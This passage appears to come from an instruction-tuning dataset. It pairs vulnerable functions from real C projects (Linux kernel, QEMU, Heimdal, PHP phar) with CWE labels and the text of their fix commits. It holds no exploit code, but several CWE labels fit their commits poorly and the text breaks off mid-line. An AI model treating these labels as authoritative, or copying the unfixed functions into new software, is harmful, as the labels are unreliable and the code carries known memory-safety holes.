+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void __init proc_root_init(void)\n{\n\tstruct vfsmount *mnt;\n\tint err;\n\n\tproc_init_inodecache();\n\terr = register_filesystem(&proc_fs_type);\n\tif (err)\n\t\treturn;\n\tmnt = kern_mount_data(&proc_fs_type, &init_pid_ns);\n\tif (IS_ERR(mnt)) {\n\t\tunregister_filesystem(&proc_fs_type);\n\t\treturn;\n\t}\n\n\tinit_pid_ns.proc_mnt = mnt;\n\tproc_symlink(\"mounts\", NULL, \"self/mounts\");\n\n\tproc_net_init();\n\n#ifdef CONFIG_SYSVIPC\n\tproc_mkdir(\"sysvipc\", NULL);\n#endif\n\tproc_mkdir(\"fs\", NULL);\n\tproc_mkdir(\"driver\", NULL);\n\tproc_mkdir(\"fs/nfsd\", NULL); /* somewhere for the nfsd filesystem to be mounted */\n#if defined(CONFIG_SUN_OPENPROMFS) || defined(CONFIG_SUN_OPENPROMFS_MODULE)\n\t/* just give it a mountpoint */\n\tproc_mkdir(\"openprom\", NULL);\n#endif\n\tproc_tty_init();\n#ifdef CONFIG_PROC_DEVICETREE\n\tproc_device_tree_init();\n#endif\n\tproc_mkdir(\"bus\", NULL);\n\tproc_sys_init();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'procfs: fix a vfsmount longterm reference leak\n\nkern_mount() doesn't pair with plain mntput()...\n\nSigned-off-by: Al Viro '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static size_t send_control_msg(VirtIOSerial *vser, void *buf, size_t len)\n{\n    VirtQueueElement elem;\n    VirtQueue *vq;\n\n    vq = vser->c_ivq;\n    if (!virtio_queue_ready(vq)) {\n        return 0;\n    }\n    if (!virtqueue_pop(vq, &elem)) {\n        return 0;\n    }\n\n    memcpy(elem.in_sg[0].iov_base, buf, len);\n\n    virtqueue_push(vq, &elem, len);\n    virtio_notify(VIRTIO_DEVICE(vser), vq);\n    return len;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'virtio-serial: fix ANY_LAYOUT\n\nDon't assume a specific layout for control messages.\nRequired by virtio 1.\n\nSigned-off-by: Michael S. Tsirkin \nReviewed-by: Amit Shah \nReviewed-by: Jason Wang '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GF_AV1Config *gf_isom_av1_config_get(GF_ISOFile *the_file, u32 trackNumber, u32 DescriptionIndex)\n{\n\tGF_TrackBox *trak;\n\tGF_MPEGVisualSampleEntryBox *entry;\n\tif (gf_isom_get_reference_count(the_file, trackNumber, GF_ISOM_REF_TBAS)) {\n\t\tu32 ref_track;\n\t\tGF_Err e = gf_isom_get_reference(the_file, trackNumber, GF_ISOM_REF_TBAS, 1, &ref_track);\n\t\tif (e == GF_OK) {\n\t\t\ttrackNumber = ref_track;\n\t\t}\n\t}\n\ttrak = gf_isom_get_track_from_file(the_file, trackNumber);\n\tif (!trak || !trak->Media || !DescriptionIndex) return NULL;\n\tentry = (GF_MPEGVisualSampleEntryBox*)gf_list_get(trak->Media->information->sampleTable->SampleDescription->child_boxes, DescriptionIndex - 1);\n\tif (!entry || !entry->av1_config) return NULL;\n\treturn AV1_DuplicateConfig(entry->av1_config->config);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'fixed #1738'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ssize_t enc_untrusted_recvfrom(int sockfd, void *buf, size_t len, int flags,\n                               struct sockaddr *src_addr, socklen_t *addrlen) {\n  int klinux_flags = TokLinuxRecvSendFlag(flags);\n  if (klinux_flags == 0 && flags != 0) {\n    errno = EINVAL;\n    return -1;\n  }\n\n  MessageWriter input;\n  input.Push(sockfd);\n  input.Push(len);\n  input.Push(klinux_flags);\n  MessageReader output;\n  const auto status = NonSystemCallDispatcher(\n      ::asylo::host_call::kRecvFromHandler, &input, &output);\n  CheckStatusAndParamCount(status, output, \"enc_untrusted_recvfrom\", 4);\n\n  int result = output.next();\n  int klinux_errno = output.next();\n  // recvfrom() returns -1 on failure, with errno set to indicate the cause\n  // of the error.\n  if (result == -1) {\n    errno = FromkLinuxErrorNumber(klinux_errno);\n    return result;\n  }\n\n  auto buffer_received = output.next();\n  memcpy(buf, buffer_received.data(), len);\n\n  // If |src_addr| is not NULL, and the underlying protocol provides the source\n  // address, this source address is filled in. When |src_addr| is NULL, nothing\n  // is filled in; in this case, |addrlen| is not used, and should also be NULL.\n  if (src_addr != nullptr && addrlen != nullptr) {\n    auto klinux_sockaddr_buf = output.next();\n    const struct klinux_sockaddr *klinux_addr =\n        klinux_sockaddr_buf.As();\n    FromkLinuxSockAddr(klinux_addr, klinux_sockaddr_buf.size(), src_addr,\n                       addrlen, TrustedPrimitives::BestEffortAbort);\n  }\n\n  return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'Fix vulnerability in enc_untrusted_recvfrom\n\nChange recvfrom memcpy to check for received_buffer size to avoid\ncopying extra buffer.\n\nThis issue was reported by Qinkun Bao, Zhaofeng Chen, Mingshen Sun, and\nKang Li from Baidu Security.\n\nPiperOrigin-RevId: 322476299\nChange-Id: I3606ff9ec51ec7cc4312c7555c645a2fc6e09b21'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int handle_exception(struct kvm_vcpu *vcpu)\n{\n\tstruct vcpu_vmx *vmx = to_vmx(vcpu);\n\tstruct kvm_run *kvm_run = vcpu->run;\n\tu32 intr_info, ex_no, error_code;\n\tunsigned long cr2, rip, dr6;\n\tu32 vect_info;\n\tenum emulation_result er;\n\n\tvect_info = vmx->idt_vectoring_info;\n\tintr_info = vmx->exit_intr_info;\n\n\tif (is_machine_check(intr_info))\n\t\treturn handle_machine_check(vcpu);\n\n\tif ((intr_info & INTR_INFO_INTR_TYPE_MASK) == INTR_TYPE_NMI_INTR)\n\t\treturn 1;  /* already handled by vmx_vcpu_run() */\n\n\tif (is_no_device(intr_info)) {\n\t\tvmx_fpu_activate(vcpu);\n\t\treturn 1;\n\t}\n\n\tif (is_invalid_opcode(intr_info)) {\n\t\tif (is_guest_mode(vcpu)) {\n\t\t\tkvm_queue_exception(vcpu, UD_VECTOR);\n\t\t\treturn 1;\n\t\t}\n\t\ter = emulate_instruction(vcpu, EMULTYPE_TRAP_UD);\n\t\tif (er != EMULATE_DONE)\n\t\t\tkvm_queue_exception(vcpu, UD_VECTOR);\n\t\treturn 1;\n\t}\n\n\terror_code = 0;\n\tif (intr_info & INTR_INFO_DELIVER_CODE_MASK)\n\t\terror_code = vmcs_read32(VM_EXIT_INTR_ERROR_CODE);\n\n\t/*\n\t * The #PF with PFEC.RSVD = 1 indicates the guest is accessing\n\t * MMIO, it is better to report an internal error.\n\t * See the comments in vmx_handle_exit.\n\t */\n\tif ((vect_info & VECTORING_INFO_VALID_MASK) &&\n\t    !(is_page_fault(intr_info) && !(error_code & PFERR_RSVD_MASK))) {\n\t\tvcpu->run->exit_reason = KVM_EXIT_INTERNAL_ERROR;\n\t\tvcpu->run->internal.suberror = KVM_INTERNAL_ERROR_SIMUL_EX;\n\t\tvcpu->run->internal.ndata = 3;\n\t\tvcpu->run->internal.data[0] = vect_info;\n\t\tvcpu->run->internal.data[1] = intr_info;\n\t\tvcpu->run->internal.data[2] = error_code;\n\t\treturn 0;\n\t}\n\n\tif (is_page_fault(intr_info)) {\n\t\t/* EPT won't cause page fault directly */\n\t\tBUG_ON(enable_ept);\n\t\tcr2 = vmcs_readl(EXIT_QUALIFICATION);\n\t\ttrace_kvm_page_fault(cr2, error_code);\n\n\t\tif (kvm_event_needs_reinjection(vcpu))\n\t\t\tkvm_mmu_unprotect_page_virt(vcpu, cr2);\n\t\treturn kvm_mmu_page_fault(vcpu, cr2, error_code, NULL, 0);\n\t}\n\n\tex_no = intr_info & INTR_INFO_VECTOR_MASK;\n\n\tif (vmx->rmode.vm86_active && rmode_exception(vcpu, ex_no))\n\t\treturn handle_rmode_exception(vcpu, ex_no, error_code);\n\n\tswitch (ex_no) {\n\tcase AC_VECTOR:\n\t\tkvm_queue_exception_e(vcpu, AC_VECTOR, error_code);\n\t\treturn 1;\n\tcase DB_VECTOR:\n\t\tdr6 = vmcs_readl(EXIT_QUALIFICATION);\n\t\tif (!(vcpu->guest_debug &\n\t\t      (KVM_GUESTDBG_SINGLESTEP | KVM_GUESTDBG_USE_HW_BP))) {\n\t\t\tvcpu->arch.dr6 &= ~15;\n\t\t\tvcpu->arch.dr6 |= dr6 | DR6_RTM;\n\t\t\tif (!(dr6 & ~DR6_RESERVED)) /* icebp */\n\t\t\t\tskip_emulated_instruction(vcpu);\n\n\t\t\tkvm_queue_exception(vcpu, DB_VECTOR);\n\t\t\treturn 1;\n\t\t}\n\t\tkvm_run->debug.arch.dr6 = dr6 | DR6_FIXED_1;\n\t\tkvm_run->debug.arch.dr7 = vmcs_readl(GUEST_DR7);\n\t\t/* fall through */\n\tcase BP_VECTOR:\n\t\t/*\n\t\t * Update instruction length as we may reinject #BP from\n\t\t * user space while in guest debugging mode. Reading it for\n\t\t * #DB as well causes no harm, it is not used in that case.\n\t\t */\n\t\tvmx->vcpu.arch.event_exit_inst_len =\n\t\t\tvmcs_read32(VM_EXIT_INSTRUCTION_LEN);\n\t\tkvm_run->exit_reason = KVM_EXIT_DEBUG;\n\t\trip = kvm_rip_read(vcpu);\n\t\tkvm_run->debug.arch.pc = vmcs_readl(GUEST_CS_BASE) + rip;\n\t\tkvm_run->debug.arch.exception = ex_no;\n\t\tbreak;\n\tdefault:\n\t\tkvm_run->exit_reason = KVM_EXIT_EXCEPTION;\n\t\tkvm_run->ex.exception = ex_no;\n\t\tkvm_run->ex.error_code = error_code;\n\t\tbreak;\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-388'], 'message': 'kvm: nVMX: Allow L1 to intercept software exceptions (#BP and #OF)\n\nWhen L2 exits to L0 due to \"exception or NMI\", software exceptions\n(#BP and #OF) for which L1 has requested an intercept should be\nhandled by L1 rather than L0. Previously, only hardware exceptions\nwere forwarded to L1.\n\nSigned-off-by: Jim Mattson \nCc: stable@vger.kernel.org\nSigned-off-by: Paolo Bonzini '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: fix_transited_encoding(krb5_context context,\n\t\t       krb5_kdc_configuration *config,\n\t\t       krb5_boolean check_policy,\n\t\t       const TransitedEncoding *tr,\n\t\t       EncTicketPart *et,\n\t\t       const char *client_realm,\n\t\t       const char *server_realm,\n\t\t       const char *tgt_realm)\n{\n    krb5_error_code ret = 0;\n    char **realms, **tmp;\n    unsigned int num_realms;\n    size_t i;\n\n    switch (tr->tr_type) {\n    case DOMAIN_X500_COMPRESS:\n\tbreak;\n    case 0:\n\t/*\n\t * Allow empty content of type 0 because that is was Microsoft\n\t * generates in their TGT.\n\t */\n\tif (tr->contents.length == 0)\n\t    break;\n\tkdc_log(context, config, 0,\n\t\t\"Transited type 0 with non empty content\");\n\treturn KRB5KDC_ERR_TRTYPE_NOSUPP;\n    default:\n\tkdc_log(context, config, 0,\n\t\t\"Unknown transited type: %u\", tr->tr_type);\n\treturn KRB5KDC_ERR_TRTYPE_NOSUPP;\n    }\n\n    ret = krb5_domain_x500_decode(context,\n\t\t\t\t  tr->contents,\n\t\t\t\t  &realms,\n\t\t\t\t  &num_realms,\n\t\t\t\t  client_realm,\n\t\t\t\t  server_realm);\n    if(ret){\n\tkrb5_warn(context, ret,\n\t\t  \"Decoding transited encoding\");\n\treturn ret;\n    }\n    if(strcmp(client_realm, tgt_realm) && strcmp(server_realm, tgt_realm)) {\n\t/* not us, so add the previous realm to transited set */\n\tif (num_realms + 1 > UINT_MAX/sizeof(*realms)) {\n\t    ret = ERANGE;\n\t    goto free_realms;\n\t}\n\ttmp = realloc(realms, (num_realms + 1) * sizeof(*realms));\n\tif(tmp == NULL){\n\t    ret = ENOMEM;\n\t    goto free_realms;\n\t}\n\trealms = tmp;\n\trealms[num_realms] = strdup(tgt_realm);\n\tif(realms[num_realms] == NULL){\n\t    ret = ENOMEM;\n\t    goto free_realms;\n\t}\n\tnum_realms++;\n    }\n    if(num_realms == 0) {\n\tif(strcmp(client_realm, server_realm))\n\t    kdc_log(context, config, 0,\n\t\t    \"cross-realm %s -> %s\", client_realm, server_realm);\n    } else {\n\tsize_t l = 0;\n\tchar *rs;\n\tfor(i = 0; i < num_realms; i++)\n\t    l += strlen(realms[i]) + 2;\n\trs = malloc(l);\n\tif(rs != NULL) {\n\t    *rs = '\\0';\n\t    for(i = 0; i < num_realms; i++) {\n\t\tif(i > 0)\n\t\t    strlcat(rs, \", \", l);\n\t\tstrlcat(rs, realms[i], l);\n\t    }\n\t    kdc_log(context, config, 0,\n\t\t    \"cross-realm %s -> %s via [%s]\",\n\t\t    client_realm, server_realm, rs);\n\t    free(rs);\n\t}\n    }\n    if(check_policy) {\n\tret = krb5_check_transited(context, client_realm,\n\t\t\t\t   server_realm,\n\t\t\t\t   realms, num_realms, NULL);\n\tif(ret) {\n\t    krb5_warn(context, ret, \"cross-realm %s -> %s\",\n\t\t      client_realm, server_realm);\n\t    goto free_realms;\n\t}\n\tet->flags.transited_policy_checked = 1;\n    }\n    et->transited.tr_type = DOMAIN_X500_COMPRESS;\n    ret = krb5_domain_x500_encode(realms, num_realms, &et->transited.contents);\n    if(ret)\n\tkrb5_warn(context, ret, \"Encoding transited encoding\");\n  free_realms:\n    for(i = 0; i < num_realms; i++)\n\tfree(realms[i]);\n    free(realms);\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-295'], 'message': 'Fix transit path validation CVE-2017-6594\n\nCommit f469fc6 (2010-10-02) inadvertently caused the previous hop realm\nto not be added to the transit path of issued tickets.  This may, in\nsome cases, enable bypass of capath policy in Heimdal versions 1.5\nthrough 7.2.\n\nNote, this may break sites that rely on the bug.  With the bug some\nincomplete [capaths] worked, that should not have.  These may now break\nauthentication in some cross-realm configurations.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ZEND_API void zend_object_store_ctor_failed(zval *zobject TSRMLS_DC)\n{\n\tzend_object_handle handle = Z_OBJ_HANDLE_P(zobject);\n\tzend_object_store_bucket *obj_bucket = &EG(objects_store).object_buckets[handle];\n\t\n\tobj_bucket->bucket.obj.handlers = Z_OBJ_HT_P(zobject);;\n\tobj_bucket->destructor_called = 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Fix bug #73052 - Memory Corruption in During Deserialized-object Destruction'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: xfs_acl_from_disk(struct xfs_acl *aclp)\n{\n\tstruct posix_acl_entry *acl_e;\n\tstruct posix_acl *acl;\n\tstruct xfs_acl_entry *ace;\n\tint count, i;\n\n\tcount = be32_to_cpu(aclp->acl_cnt);\n\n\tacl = posix_acl_alloc(count, GFP_KERNEL);\n\tif (!acl)\n\t\treturn ERR_PTR(-ENOMEM);\n\n\tfor (i = 0; i < count; i++) {\n\t\tacl_e = &acl->a_entries[i];\n\t\tace = &aclp->acl_entry[i];\n\n\t\t/*\n\t\t * The tag is 32 bits on disk and 16 bits in core.\n\t\t *\n\t\t * Because every access to it goes through the core\n\t\t * format first this is not a problem.\n\t\t */\n\t\tacl_e->e_tag = be32_to_cpu(ace->ae_tag);\n\t\tacl_e->e_perm = be16_to_cpu(ace->ae_perm);\n\n\t\tswitch (acl_e->e_tag) {\n\t\tcase ACL_USER:\n\t\tcase ACL_GROUP:\n\t\t\tacl_e->e_id = be32_to_cpu(ace->ae_id);\n\t\t\tbreak;\n\t\tcase ACL_USER_OBJ:\n\t\tcase ACL_GROUP_OBJ:\n\t\tcase ACL_MASK:\n\t\tcase ACL_OTHER:\n\t\t\tacl_e->e_id = ACL_UNDEFINED_ID;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tgoto fail;\n\t\t}\n\t}\n\treturn acl;\n\nfail:\n\tposix_acl_release(acl);\n\treturn ERR_PTR(-EINVAL);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190', 'CWE-189'], 'message': 'xfs: validate acl count\n\nThis prevents in-memory corruption and possible panics if the on-disk\nACL is badly corrupted.\n\nSigned-off-by: Christoph Hellwig \nSigned-off-by: Ben Myers '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int phar_parse_zipfile(php_stream *fp, char *fname, int fname_len, char *alias, int alias_len, phar_archive_data** pphar, char **error) /* {{{ */\n{\n\tphar_zip_dir_end locator;\n\tchar buf[sizeof(locator) + 65536];\n\tzend_long size;\n\tphp_uint16 i;\n\tphar_archive_data *mydata = NULL;\n\tphar_entry_info entry = {0};\n\tchar *p = buf, *ext, *actual_alias = NULL;\n\tchar *metadata = NULL;\n\n\tsize = php_stream_tell(fp);\n\n\tif (size > sizeof(locator) + 65536) {\n\t\t/* seek to max comment length + end of central directory record */\n\t\tsize = sizeof(locator) + 65536;\n\t\tif (FAILURE == php_stream_seek(fp, -size, SEEK_END)) {\n\t\t\tphp_stream_close(fp);\n\t\t\tif (error) {\n\t\t\t\tspprintf(error, 4096, \"phar error: unable to search for end of central directory in zip-based phar \\\"%s\\\"\", fname);\n\t\t\t}\n\t\t\treturn FAILURE;\n\t\t}\n\t} else {\n\t\tphp_stream_seek(fp, 0, SEEK_SET);\n\t}\n\n\tif (!php_stream_read(fp, buf, size)) {\n\t\tphp_stream_close(fp);\n\t\tif (error) {\n\t\t\tspprintf(error, 4096, \"phar error: unable to read in data to search for end of central directory in zip-based phar \\\"%s\\\"\", fname);\n\t\t}\n\t\treturn FAILURE;\n\t}\n\n\twhile ((p=(char *) memchr(p + 1, 'P', (size_t) (size - (p + 1 - buf)))) != NULL) {\n\t\tif ((p - buf) + sizeof(locator) <= size && !memcmp(p + 1, \"K\\5\\6\", 3)) {\n\t\t\tmemcpy((void *)&locator, (void *) p, sizeof(locator));\n\t\t\tif (PHAR_GET_16(locator.centraldisk) != 0 || PHAR_GET_16(locator.disknumber) != 0) {\n\t\t\t\t/* split archives not handled */\n\t\t\t\tphp_stream_close(fp);\n\t\t\t\tif (error) {\n\t\t\t\t\tspprintf(error, 4096, \"phar error: split archives spanning multiple zips cannot be processed in zip-based phar \\\"%s\\\"\", fname);\n\t\t\t\t}\n\t\t\t\treturn FAILURE;\n\t\t\t}\n\n\t\t\tif (PHAR_GET_16(locator.counthere) != PHAR_GET_16(locator.count)) {\n\t\t\t\tif (error) {\n\t\t\t\t\tspprintf(error, 4096, \"phar error: corrupt zip archive, conflicting file count in end of central directory record in zip-based phar \\\"%s\\\"\", fname);\n\t\t\t\t}\n\t\t\t\tphp_stream_close(fp);\n\t\t\t\treturn FAILURE;\n\t\t\t}\n\n\t\t\tmydata = pecalloc(1, sizeof(phar_archive_data), PHAR_G(persist));\n\t\t\tmydata->is_persistent = PHAR_G(persist);\n\n\t\t\t/* read in archive comment, if any */\n\t\t\tif (PHAR_GET_16(locator.comment_len)) {\n\n\t\t\t\tmetadata = p + sizeof(locator);\n\n\t\t\t\tif (PHAR_GET_16(locator.comment_len) != size - (metadata - buf)) {\n\t\t\t\t\tif (error) {\n\t\t\t\t\t\tspprintf(error, 4096, \"phar error: corrupt zip archive, zip file comment truncated in zip-based phar \\\"%s\\\"\", fname);\n\t\t\t\t\t}\n\t\t\t\t\tphp_stream_close(fp);\n\t\t\t\t\tpefree(mydata, mydata->is_persistent);\n\t\t\t\t\treturn FAILURE;\n\t\t\t\t}\n\n\t\t\t\tmydata->metadata_len = PHAR_GET_16(locator.comment_len);\n\n\t\t\t\tif (phar_parse_metadata(&metadata, &mydata->metadata, PHAR_GET_16(locator.comment_len)) == FAILURE) {\n\t\t\t\t\tmydata->metadata_len = 0;\n\t\t\t\t\t/* if not valid serialized data, it is a regular string */\n\n\t\t\t\t\tZVAL_NEW_STR(&mydata->metadata, zend_string_init(metadata, PHAR_GET_16(locator.comment_len), mydata->is_persistent));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tZVAL_UNDEF(&mydata->metadata);\n\t\t\t}\n\n\t\t\tgoto foundit;\n\t\t}\n\t}\n\n\tphp_stream_close(fp);\n\n\tif (error) {\n\t\tspprintf(error, 4096, \"phar error: end of central directory not found in zip-based phar \\\"%s\\\"\", fname);\n\t}\n\n\treturn FAILURE;\nfoundit:\n\tmydata->fname = pestrndup(fname, fname_len, mydata->is_persistent);\n#ifdef PHP_WIN32\n\tphar_unixify_path_separators(mydata->fname, fname_len);\n#endif\n\tmydata->is_zip = 1;\n\tmydata->fname_len = fname_len;\n\text = strrchr(mydata->fname, '/');\n\n\tif (ext) {\n\t\tmydata->ext = memchr(ext, '.', (mydata->fname + fname_len) - ext);\n\t\tif (mydata->ext == ext) {\n\t\t\tmydata->ext = memchr(ext + 1, '.', (mydata->fname + fname_len) - ext - 1);\n\t\t}\n\t\tif (mydata->ext) {\n\t\t\tmydata->ext_len = (mydata->fname + fname_len) - mydata->ext;\n\t\t}\n\t}\n\n\t/* clean up on big-endian systems */\n\t/* seek to central directory */\n\tphp_stream_seek(fp, PHAR_GET_32(locator.cdir_offset), SEEK_SET);\n\t/* read in central directory */\n\tzend_hash_init(&mydata->manifest, PHAR_GET_16(locator.count),\n\t\tzend_get_hash_value, destroy_phar_manifest_entry, (zend_bool)mydata->is_persistent);\n\tzend_hash_init(&mydata->mounted_dirs, 5,\n\t\tzend_get_hash_value, NULL, (zend_bool)mydata->is_persistent);\n\tzend_hash_init(&mydata->virtual_dirs, PHAR_GET_16(locator.count) * 2,\n\t\tzend_get_hash_value, NULL, (zend_bool)mydata->is_persistent);\n\tentry.phar = mydata;\n\tentry.is_zip = 1;\n\tentry.fp_type = PHAR_FP;\n\tentry.is_persistent = mydata->is_persistent;\n#define PHAR_ZIP_FAIL_FREE(errmsg, save) \\\n\t\t\tzend_hash_destroy(&mydata->manifest); \\\n\t\t\tmydata->manifest.u.flags = 0; \\\n\t\t\tzend_hash_destroy(&mydata->mounted_dirs); \\\n\t\t\tmydata->mounted_dirs.u.flags = 0; \\\n\t\t\tzend_hash_destroy(&mydata->virtual_dirs); \\\n\t\t\tmydata->virtual_dirs.u.flags = 0; \\\n\t\t\tphp_stream_close(fp); \\\n\t\t\tzval_dtor(&mydata->metadata); \\\n\t\t\tif (mydata->signature) { \\\n\t\t\t\tefree(mydata->signature); \\\n\t\t\t} \\\n\t\t\tif (error) { \\\n\t\t\t\tspprintf(error, 4096, \"phar error: %s in zip-based phar \\\"%s\\\"\", errmsg, mydata->fname); \\\n\t\t\t} \\\n\t\t\tpefree(mydata->fname, mydata->is_persistent); \\\n\t\t\tif (mydata->alias) { \\\n\t\t\t\tpefree(mydata->alias, mydata->is_persistent); \\\n\t\t\t} \\\n\t\t\tpefree(mydata, mydata->is_persistent); \\\n\t\t\tefree(save); \\\n\t\t\treturn FAILURE;\n#define PHAR_ZIP_FAIL(errmsg) \\\n\t\t\tzend_hash_destroy(&mydata->manifest); \\\n\t\t\tmydata->manifest.u.flags = 0; \\\n\t\t\tzend_hash_destroy(&mydata->mounted_dirs); \\\n\t\t\tmydata->mounted_dirs.u.flags = 0; \\\n\t\t\tzend_hash_destroy(&mydata->virtual_dirs); \\\n\t\t\tmydata->virtual_dirs.u.flags = 0; \\\n\t\t\tphp_stream_close(fp); \\\n\t\t\tzval_dtor(&mydata->metadata); \\\n\t\t\tif (mydata->signature) { \\\n\t\t\t\tefree(mydata->signature); \\\n\t\t\t} \\\n\t\t\tif (error) { \\\n\t\t\t\tspprintf(error, 4096, \"phar error: %s in zip-based phar \\\"%s\\\"\", errmsg, mydata->fname); \\\n\t\t\t} \\\n\t\t\tpefree(mydata->fname, mydata->is_persistent); \\\n\t\t\tif (mydata->alias) { \\\n\t\t\t\tpefree(mydata->alias, mydata->is_persistent); \\\n\t\t\t} \\\n\t\t\tpefree(mydata, mydata->is_persistent); \\\n\t\t\treturn FAILURE;\n\n\t/* add each central directory item to the manifest */\n\tfor (i = 0; i < PHAR_GET_16(locator.count); ++i) {\n\t\tphar_zip_central_dir_file zipentry;\n\t\tzend_off_t beforeus = php_stream_tell(fp);\n\n\t\tif (sizeof(zipentry) != php_stream_read(fp, (char *) &zipentry, sizeof(zipentry))) {\n\t\t\tPHAR_ZIP_FAIL(\"unable to read central directory entry, truncated\");\n\t\t}\n\n\t\t/* clean up for bigendian systems */\n\t\tif (memcmp(\"PK\\1\\2\", zipentry.signature, 4)) {\n\t\t\t/* corrupted entry */\n\t\t\tPHAR_ZIP_FAIL(\"corrupted central directory entry, no magic signature\");\n\t\t}\n\n\t\tif (entry.is_persistent) {\n\t\t\tentry.manifest_pos = i;\n\t\t}\n\n\t\tentry.compressed_filesize = PHAR_GET_32(zipentry.compsize);\n\t\tentry.uncompressed_filesize = PHAR_GET_32(zipentry.uncompsize);\n\t\tentry.crc32 = PHAR_GET_32(zipentry.crc32);\n\t\t/* do not PHAR_GET_16 either on the next line */\n\t\tentry.timestamp = phar_zip_d2u_time(zipentry.timestamp, zipentry.datestamp);\n\t\tentry.flags = PHAR_ENT_PERM_DEF_FILE;\n\t\tentry.header_offset = PHAR_GET_32(zipentry.offset);\n\t\tentry.offset = entry.offset_abs = PHAR_GET_32(zipentry.offset) + sizeof(phar_zip_file_header) + PHAR_GET_16(zipentry.filename_len) +\n\t\t\tPHAR_GET_16(zipentry.extra_len);\n\n\t\tif (PHAR_GET_16(zipentry.flags) & PHAR_ZIP_FLAG_ENCRYPTED) {\n\t\t\tPHAR_ZIP_FAIL(\"Cannot process encrypted zip files\");\n\t\t}\n\n\t\tif (!PHAR_GET_16(zipentry.filename_len)) {\n\t\t\tPHAR_ZIP_FAIL(\"Cannot process zips created from stdin (zero-length filename)\");\n\t\t}\n\n\t\tentry.filename_len = PHAR_GET_16(zipentry.filename_len);\n\t\tentry.filename = (char *) pemalloc(entry.filename_len + 1, entry.is_persistent);\n\n\t\tif (entry.filename_len != php_stream_read(fp, entry.filename, entry.filename_len)) {\n\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\tPHAR_ZIP_FAIL(\"unable to read in filename from central directory, truncated\");\n\t\t}\n\n\t\tentry.filename[entry.filename_len] = '\\0';\n\n\t\tif (entry.filename[entry.filename_len - 1] == '/') {\n\t\t\tentry.is_dir = 1;\n\t\t\tif(entry.filename_len > 1) {\n\t\t\t\tentry.filename_len--;\n\t\t\t}\n\t\t\tentry.flags |= PHAR_ENT_PERM_DEF_DIR;\n\t\t} else {\n\t\t\tentry.is_dir = 0;\n\t\t}\n\n\t\tif (entry.filename_len == sizeof(\".phar/signature.bin\")-1 && !strncmp(entry.filename, \".phar/signature.bin\", sizeof(\".phar/signature.bin\")-1)) {\n\t\t\tsize_t read;\n\t\t\tphp_stream *sigfile;\n\t\t\tzend_off_t now;\n\t\t\tchar *sig;\n\n\t\t\tnow = php_stream_tell(fp);\n\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\tsigfile = php_stream_fopen_tmpfile();\n\t\t\tif (!sigfile) {\n\t\t\t\tPHAR_ZIP_FAIL(\"couldn't open temporary file\");\n\t\t\t}\n\n\t\t\tphp_stream_seek(fp, 0, SEEK_SET);\n\t\t\t/* copy file contents + local headers and zip comment, if any, to be hashed for signature */\n\t\t\tphp_stream_copy_to_stream_ex(fp, sigfile, entry.header_offset, NULL);\n\t\t\t/* seek to central directory */\n\t\t\tphp_stream_seek(fp, PHAR_GET_32(locator.cdir_offset), SEEK_SET);\n\t\t\t/* copy central directory header */\n\t\t\tphp_stream_copy_to_stream_ex(fp, sigfile, beforeus - PHAR_GET_32(locator.cdir_offset), NULL);\n\t\t\tif (metadata) {\n\t\t\t\tphp_stream_write(sigfile, metadata, PHAR_GET_16(locator.comment_len));\n\t\t\t}\n\t\t\tphp_stream_seek(fp, sizeof(phar_zip_file_header) + entry.header_offset + entry.filename_len + PHAR_GET_16(zipentry.extra_len), SEEK_SET);\n\t\t\tsig = 